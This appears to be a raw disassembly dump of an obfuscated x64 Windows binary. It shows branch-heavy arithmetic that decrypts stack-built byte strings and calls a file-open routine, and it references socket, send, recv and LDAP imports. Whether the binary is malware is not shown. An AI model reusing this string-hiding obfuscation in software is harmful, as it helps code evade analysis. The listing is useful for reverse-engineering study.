sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x74
jmp 0x14014ff2f
lea rax, [r10 + 0x20]
cmp rdi, rax
jae 0x14014fbe7
lea rdx, [r9 + rsi]
mov ecx, gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14014fe7d
lea rax, [r10 + 0x80]
cmp rdi, rax
jbe 0x14014fca0
movabs rdx, 0x5ed409f1157d68d2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014fa44
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014fc16
movabs rdx, 0x996c3934ae458f84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401500a9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014fc45
movabs rdx, 0xa808d0f08e1b6c6c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140150021
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014fc70
movabs rcx, 0xaf571cce7e065ae0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14014ffee
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014fba1
movabs rcx, 0xb6a568ac6df14954
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x14014ffeb
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014fccf
movabs rdx, 0x662255cf05685746
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ff2f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014fcfb
movabs rdx, 0x7c0d3968d52922a2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
jmp 0x14014ffa2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014fd2a
movabs rdx, 0x835b8546c5141116
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014ffeb
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014fd59
movabs rdx, 0x8aa9d124b4feff8a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ffee
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014fd86
movabs rdx, 0x91f81d02a4e9edfe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015001f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014fa44
movabs rcx, 0x994668e094d4dc72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x140150055
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014fde0
movabs rcx, 0x32d872695c8b1f08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x1401500a9
cmp rdi, rcx
jne 0x14014fe08
movabs rdx, 0x3a26be474c760d7c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
add bl, dl
jmp 0x140150055
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014fe25
movabs rdx, 0x41750a253c60fbf0
mov ecx, Ordinal_60
jmp 0x14014fc2e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014f9f1
movabs rcx, 0x575fedbf0c21c74c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14014ffa2
movabs rdx, 0x7be76914bbb86f90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x610]
jmp 0x14014ff9d
movabs rcx, 0x8335b4f2aba35e04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x610]
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x140150021
movabs rdx, 0x7287b89d67a3b62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140150055
movabs rcx, 0xf13d97f006b97006
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x14014ffeb
movabs rdx, 0xe2a1003426e3931e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014ff79
movabs rcx, 0xd4046878470db636
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
movabs rcx, 0xf8404325c3c2f856
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x5a
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
jmp 0x14014ff76
movabs rdx, 0xbe1984de774ceada
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add r10, r15
sub r9, r15
jmp 0x1401500b8
movabs rdx, 0xaf7ced2297770df2
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xff8e8f03b3ade6ca
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r8b
mov byte [rbp + r9 + 0x610], dl
jmp 0x14014ffeb
movabs rcx, 0xa82ea144a78c1f7e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401500b8
mov r8, r11
movabs rdx, 0x99920988c7b64296
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x1a
add bl, dl
movabs rdx, 0x6dcdae1a398d53e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x610], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x8a8400d09b8e4c78
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401500a9
movabs rdx, 0x8af571cce7e065ae
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x610]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14014f56b
movabs rdx, 0x65d6b526d286f122
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014f562
movabs rdx, 0x5e886948e29c02ae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014f552
lea rcx, [rbp + 0x16c2108]
jmp 0x140150125
lea rcx, [rbp + 0xa19842]
jmp 0x140150125
lea rcx, [rbp + 0x610]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
or r12, 0xffffffffffffffff
cmp rax, r12
je 0x140155230
mov byte [rbp + 0xaf0], 0x9b
mov byte [rbp + 0xaf1], 0x59
mov byte [rbp + 0xaf2], 0x80
mov byte [rbp + 0xaf3], 0x5b
mov byte [rbp + 0xaf4], 0xa0
mov byte [rbp + 0xaf5], 0x45
mov byte [rbp + 0xaf6], 0xbb
mov byte [rbp + 0xaf7], 0x47
mov byte [rbp + 0xaf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaf9], 0x41
mov byte [rbp + 0xafa], 0xaf
mov byte [rbp + 0xafb], 0x43
mov byte [rbp + 0xafc], 0xde
mov byte [rbp + 0xafd], Ordinal_79
mov byte [rbp + 0xafe], 0xdd
mov byte [rbp + 0xaff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xb00], 0xac
mov byte [rbp + 0xb01], Ordinal_79
mov byte [rbp + 0xb02], 0x86
mov byte [rbp + 0xb03], Ordinal_79
mov byte [rbp + 0xb04], 0x99
mov byte [rbp + 0xb05], 0x75
mov byte [rbp + 0xb06], 0x98
mov byte [rbp + 0xb07], 0x77
mov byte [rbp + 0xb08], __WSAFDIsSet
mov byte [rbp + 0xb09], WSACleanup
mov byte [rbp + 0xb0a], 0xef
mov byte [rbp + 0xb0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xb0c], 0xe8
mov byte [rbp + 0xb0d], 0x7d
mov byte [rbp + 0xb0e], 0xe2
mov byte [rbp + 0xb0f], 0x7f
mov byte [rbp + 0xb10], 0x9c
mov byte [rbp + 0xb11], 0x79
mov byte [rbp + 0xb12], 0xbb
mov byte [rbp + 0xb13], 0x7b
mov byte [rbp + 0xb14], 0xf4
mov byte [rbp + 0xb15], 0x65
mov byte [rbp + 0xb16], 0xf6
mov byte [rbp + 0xb17], 0x67
mov byte [rbp + 0xb18], 0xac
mov byte [rbp + 0xb19], 0x61
mov byte [rbp + 0xb1a], 0x83
mov byte [rbp + 0xb1b], 0x63
mov byte [rbp + 0xb1c], 0xf0
mov byte [rbp + 0xb1d], WSASetLastError
mov byte [rbp + 0xb1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb20], Ordinal_143
mov byte [rbp + 0xb21], WSAGetLastError
mov byte [rbp + 0xb22], 0xa7
mov byte [rbp + 0xb23], WSASetLastError
mov byte [rbp + 0xb24], 0x88
mov byte [rbp + 0xb25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb26], 0xfe
mov byte [rbp + 0xb27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb28], 0xfd
mov byte [rbp + 0xb29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb2a], 0x80
mov byte [rbp + 0xb2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xb2c], 0xfd
mov byte [rbp + 0xb2d], Ordinal_32
mov byte [rbp + 0xb2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xb2f], Ordinal_32
mov byte [rbp + 0xb30], 0xfa
mov byte [rbp + 0xb31], Ordinal_27
mov byte [rbp + 0xb32], 0xf3
mov byte [rbp + 0xb33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb34], __WSAFDIsSet
mov byte [rbp + 0xb35], 5
mov byte [rbp + 0xb36], 6
mov byte [rbp + 0xb37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb38], xmm0
mov qword [rbp + 0xb48], rax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x140150d91
movzx r8d, byte [rbp + r10 + 0xaf0]
mov r11d, r8d
cmp rbx, r10
ja 0x140150d88
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401503c4
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov eax, r8d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x2c
jmp 0x1401503f1
je 0x140150d03
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140150cb0
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140150c4e
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140150c27
cmp r9, r10
ja 0x140150d7f
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140150429
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x14015045d
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140150bdd
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140150bb9
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140150b96
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140150b72
mov r11d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140150793
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140150770
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14015075c
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140150738
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x140150714
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401506f1
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401506e0
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140150d5b
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140150d38
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140150588
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401506cc
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14015069d
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140150470
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140150689
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x140150665
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140150642
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14015061b
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401505f4
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1401505d0
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401505ad
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140150470
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x140150463
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x140150bfb
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x140150c22
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140150c46
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140150c9e
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x140150b36
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140150cce
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140150883
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xaf0], dil
jmp 0x140150d30
movabs rdx, 0x69851ae5ab44c1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401507af
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x140150674
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x140150b36
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x140150c9e
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140150c46
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140150bc8
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x140150bfb
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14015086d
movabs rdx, 0xe2ff43c1b0c1bb8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140150b11
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140150950
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x80
jae 0x140150ae9
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401509f8
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x1401506bf
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140150bfe
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015089b
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140150d21
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401508c7
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x140150b36
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401508f4
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140150c9b
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140150920
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x140150c6d
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401507c2
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140150bfe
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015097c
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x140150bfb
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140150999
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140150bc8
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401509c6
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x140150c9e
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401507ff
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x140150b39
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140150a15
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140150883
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140150a41
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x140150cce
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140150a6e
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140150c9b
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140150a8b
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140150c5d
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140150ab8
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140150c46
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015083b
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140150c22
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xaf0]
sub dil, al
sub dil, 0x20
jmp 0x140150c6a
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xaf0]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xaf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140150cd1
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x140150c9e
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x140150c6d
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140150c22
movabs rdx, 0x64ef1666e167d994
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add r9, r15
jmp 0x140150c46
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, r15
jmp 0x140150d30
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xaf0], dl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x140150d30
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x24
add dil, dl
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x140150d21
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xaf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x140150379
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x140150376
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x140150366
lea rdx, [rbp + 0x16a0d00]
jmp 0x140150d98
lea rdx, [rbp + 0x6bc88c]
jmp 0x140150d98
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0x98]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x21f0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140150dcd
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x21f0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x21f0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x21f0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x910], 0x9b
mov byte [rbp + 0x911], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x912], 0x90
mov byte [rbp + 0x913], 0xdb
mov byte [rbp + 0x914], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x915], Ordinal_217
mov byte [rbp + 0x916], 0x7b
mov byte [rbp + 0x917], Ordinal_217
mov byte [rbp + 0x918], 0x43
mov byte [rbp + 0x919], Ordinal_211
mov byte [rbp + 0x91a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x91b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x91c], 0x5e
mov byte [rbp + 0x91d], Ordinal_211
mov byte [rbp + 0x91e], 0x5d
mov byte [rbp + 0x91f], Ordinal_211
mov byte [rbp + 0x920], WSASetLastError
mov byte [rbp + 0x921], 0xc9
mov byte [rbp + 0x922], 0x7a
mov byte [rbp + 0x923], 0xcb
mov byte [rbp + 0x924], Ordinal_79
mov byte [rbp + 0x925], Ordinal_200
mov byte [rbp + 0x926], 0x64
mov byte [rbp + 0x927], Ordinal_200
mov byte [rbp + 0x928], 0x54
mov byte [rbp + 0x929], 0xc1
mov byte [rbp + 0x92a], 0x5b
mov byte [rbp + 0x92b], Ordinal_200
mov byte [rbp + 0x92c], 0x9f
mov byte [rbp + 0x92d], 0x3d
mov byte [rbp + 0x92e], 0x9a
mov byte [rbp + 0x92f], 0x3f
mov byte [rbp + 0x930], 0x84
mov byte [rbp + 0x931], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x932], 0xa8
mov byte [rbp + 0x933], Ordinal_60
mov byte [rbp + 0x934], 0xad
mov byte [rbp + 0x935], gethostname
mov byte [rbp + 0x936], 0xb8
mov byte [rbp + 0x937], Ordinal_60
mov byte [rbp + 0x938], 0xad
mov byte [rbp + 0x939], Ordinal_50
mov byte [rbp + 0x93a], 0xa0
mov byte [rbp + 0x93b], gethostname
mov byte [rbp + 0x93c], 0xbf
mov byte [rbp + 0x93d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x93e], 0x78
mov byte [rbp + 0x93f], Ordinal_50
mov byte [rbp + 0x940], Ordinal_143
mov byte [rbp + 0x941], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x942], 0xb3
mov byte [rbp + 0x943], Ordinal_46
mov byte [rbp + 0x944], 0xb2
mov byte [rbp + 0x945], Ordinal_41
mov byte [rbp + 0x946], Ordinal_41
mov byte [rbp + 0x947], Ordinal_41
xor eax, eax
mov qword [rbp + 0x948], rax
mov dword [rbp + 0x950], eax
mov word [rbp + 0x954], ax
mov byte [rbp + 0x956], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
